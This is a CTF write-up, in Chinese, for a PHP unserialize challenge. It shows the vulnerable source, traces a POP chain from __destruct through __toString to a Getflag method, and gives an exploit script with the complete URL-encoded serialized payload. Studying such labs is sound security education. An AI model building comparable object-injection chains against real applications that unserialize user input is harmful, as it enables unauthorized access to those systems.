题目链接

页面源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
error_reporting(0);
show_source("index.php");
class w44m {
private $admin = 'w44m';
protected $passwd = '08067';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php'); // [1]
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m; // [3]
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}(); // [2]
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>

分析

  1. 目标肯定为执行echo $flag;
  2. 要能执行 [1] 需找到Getflag的可能调用,由此定位到 [2] 令w22m=Getflag字符串即可
  3. 要能执行__toString需找到将类当作字符串使用的地方,由此定位到 [3]

exp

逆序构造

  1. 创建w22m对象 其中$w00m字段为w33m对象

  2. 创建w33m对象 其中$w00m为w44m对象 $w22m为Getflag字符串

  3. 创建w44m对象 其中$admin = ‘w44m’;$passwd = ‘08067’;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
error_reporting(0);
show_source("index.php");

class w44m {
private $admin = 'w44m';
protected $passwd = '08067';
}

class w22m{
public $w00m;
}

class w33m{
public $w00m;
public $w22m="Getflag";
}

$a=new w22m;
$b=new w33m;
$b->w00m=new w44m;
$a->w00m=$b;

echo serialize($a) . "\n";
echo urlencode(serialize($a)) . "\n";

// ?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
⬆︎TOP